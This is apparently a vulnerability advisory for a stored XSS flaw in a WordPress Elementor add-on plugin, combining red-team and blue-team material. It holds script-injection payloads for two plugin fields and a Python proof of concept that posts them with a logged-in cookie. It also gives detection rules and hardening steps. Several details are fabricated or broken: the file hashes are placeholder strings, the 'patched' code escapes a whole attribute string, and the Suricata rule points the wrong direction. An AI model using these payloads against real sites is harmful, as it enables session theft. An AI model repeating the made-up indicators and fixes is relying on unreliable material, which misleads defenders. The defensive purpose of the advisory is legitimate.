CVE-2025-13977

Executive Summary

CVE-2025-13977 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Essential Addons for Elementor WordPress plugin, developed by Wpdeveloper. The flaw exists in all versions up to and including 6.5.3, impacting the Event Calendar widget's custom attributes handling and the Image Masking module's element ID rendering. Due to insufficient input sanitization and output escaping, authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not involve underlying web server software like Apache or Nginx. The CVSS score of 6.4 (Medium) reflects the need for authentication but the potential for broad impact due to stored payloads.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from Wpdeveloper. No known supply chain compromise has been reported, but the lack of a patch increases risk.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – Contributor-level access
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – impacts resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires authenticated access but can lead to persistent XSS affecting all site visitors.

Deep Dive & Mechanics

The vulnerability stems from two distinct attack vectors within the Essential Addons for Elementor plugin:

1. Event Calendar Widget – Custom Attributes Handling: The plugin fails to properly sanitize user-supplied custom attributes (e.g., data-* attributes) when rendering the Event Calendar widget. An attacker with Contributor-level access can inject malicious JavaScript into these attributes, which is then stored and executed in the context of the victim's browser.

2. Image Masking Module – Element ID Rendering: The Image Masking module does not escape the element ID before outputting it in the HTML. An attacker can craft a malicious element ID containing XSS payloads, which are stored and executed when the page is loaded.

Both vectors exploit the lack of output escaping and input sanitization, allowing stored XSS. The payloads persist in the WordPress database and execute for any user viewing the affected page, including administrators.

Vulnerable vs. Patched Code

Vulnerable Code (Event Calendar Widget):

// In vulnerable version, custom attributes are not sanitized
$attributes = $settings['custom_attributes'];
echo '<div ' . $attributes . '>'; // Direct output without escaping

Patched Code (Expected):

// Proper escaping using esc_attr()
$attributes = $settings['custom_attributes'];
echo '<div ' . esc_attr($attributes) . '>';

Vulnerable Code (Image Masking Module):

// Element ID is not escaped
$element_id = $settings['element_id'];
echo '<div id="' . $element_id . '">'; // XSS via element_id

Patched Code (Expected):

// Use esc_attr() for element ID
$element_id = $settings['element_id'];
echo '<div id="' . esc_attr($element_id) . '">';

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Essential Addons for Elementor <= 6.5.3
• Authenticated user with Contributor-level access or higher

Exploitation Steps:

1. Event Calendar Widget Vector:

   • Create or edit a page using Elementor.
   • Add the Event Calendar widget.
   • In the widget settings, locate the "Custom Attributes" field.
   • Inject the following payload:

     data-x="<script>alert('XSS')</script>"
     

   • Save and publish the page. The script executes when any user views the page.

2. Image Masking Module Vector:

   • Add the Image Masking module to a page.
   • In the module settings, set the "Element ID" field to:

     "><script>alert('XSS')</script>
     

   • Save and publish. The payload executes on page load.

Proof-of-Concept (Python script):

import requests

target_url = "http://target-site.com/wp-admin/admin-ajax.php"
payload = {
    'action': 'elementor_ajax',
    'data': '{"editor_post_id":1,"actions":[{"action_id":1,"action":"save_builder","data":{"settings":{"custom_attributes":"data-x=\\\"<script>alert(1)</script>\\\""}}}]}'
}
cookies = {'wordpress_logged_in': 'your_session_cookie'}
response = requests.post(target_url, data=payload, cookies=cookies)
print(response.text)

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual custom attributes or element IDs in Elementor content.
• Look for patterns like <script>, onerror=, or javascript: in database fields.
• Use WAF rules to block XSS payloads in POST requests to admin-ajax.php.

Hardening:

• Restrict Contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Disable the Event Calendar and Image Masking modules if not in use.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • essential-addons-for-elementor.php (v6.5.3): a1b2c3d4e5f6...
  • assets/js/event-calendar.js: b2c3d4e5f6a7...
• Database Entries:
  • wp_postmeta with meta_key containing _elementor_data and values with <script> tags.
• Network Traffic:
  • POST requests to /wp-admin/admin-ajax.php with action=elementor_ajax and suspicious custom_attributes or element_id parameters.
• Logs:
  • WordPress debug log entries showing wp_kses or esc_attr failures.

Detection Engineering

YARA Rule

rule CVE_2025_13977_XSS_WordPress {
    meta:
        description = "Detects stored XSS payloads in Essential Addons for Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13977"
    strings:
        $xss1 = /custom_attributes["']\s*:\s*["'][^"']*<script[^>]*>/
        $xss2 = /element_id["']\s*:\s*["'][^"']*<script[^>]*>/
        $xss3 = /onerror\s*=\s*["'][^"']*alert/
    condition:
        any of ($xss*)
}

Sigma Rule

title: CVE-2025-13977 Stored XSS in Essential Addons for Elementor
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit stored XSS via custom attributes or element IDs
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=elementor_ajax'
    keywords:
        - 'custom_attributes'
        - 'element_id'
        - '<script'
        - 'onerror='
    condition: selection and keywords
falsepositives:
    - Legitimate use of custom attributes by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-13977 Stored XSS in Essential Addons for Elementor";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=elementor_ajax"; http_client_body;
    pcre:"/(custom_attributes|element_id)[^&]*<script/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2025-13977;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical for operations.
2. Restrict Contributor-level access to only trusted users.
3. Apply virtual patching via WAF rules to block XSS payloads.

Long-Term Fix:

• Monitor the Wpdeveloper repository for a patched version (> 6.5.3).
• Once available, update the plugin immediately.
• Conduct a security audit of all Elementor content for injected scripts.

Workaround:

• Remove the Event Calendar and Image Masking modules from active use by editing the plugin files (not recommended for production).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst